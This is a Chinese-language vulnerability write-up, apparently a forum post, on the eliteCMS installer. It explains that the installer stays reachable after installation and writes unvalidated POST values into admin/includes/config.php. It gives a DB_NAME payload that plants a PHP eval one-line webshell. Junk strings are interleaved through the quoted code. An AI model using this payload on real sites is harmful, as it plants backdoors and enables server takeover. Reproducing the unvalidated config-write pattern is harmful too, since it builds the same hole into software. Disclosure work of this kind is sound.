eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
$ Q5 e0 }9 V# D! r4 H# P' J7 K
! ?( s6 |' F3 m. r/ b) T4 D& t...
4 e- x7 O) Y2 Celseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
' z% S% L" C5 ^    $write = "<?php\n";
    $write .= "/**\n";
7 ~$ L; w% s/ y& i3 ]    $write .= "*\n";
0 h( G" d. R! m/ H    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. y' b8 N2 A: `7 \3 s* r...略...
    $write .= "*\n";
$ D7 u6 N! Y0 r    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
% d+ k0 V9 o6 E+ F0 O6 L5 J    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
' k- w/ H( p7 [' V; B& x    $write .= "if (!\$connection) {\n";
2 u' Y) Q2 f& G- K    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
$ s8 ~# ]/ g$ v! @- m: J    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
+ x- M5 c( ?% U$ ]% J( J    $write .= "        \n";
: y% _7 J9 B  F# \. }: J( q    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

0 t/ e( L: k' p% [8 k/ C在看代码：

- P! Y& s. A/ K0 g, o$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

1 ?) Q+ I0 m3 `) i: e4 {取值未作任何验证
如果将数据库名POST数据：
% R6 O8 z1 Y& J" ^
# K: T. z, m3 p" S"?><?php eval($_POST[c]);?><?php
$ k( ]( R7 F6 B* x$ o
% }' ?. j' E0 o. E将导致一句话后门写入/admin/includes/config.php
+ j; `) j4 j; J. s( ^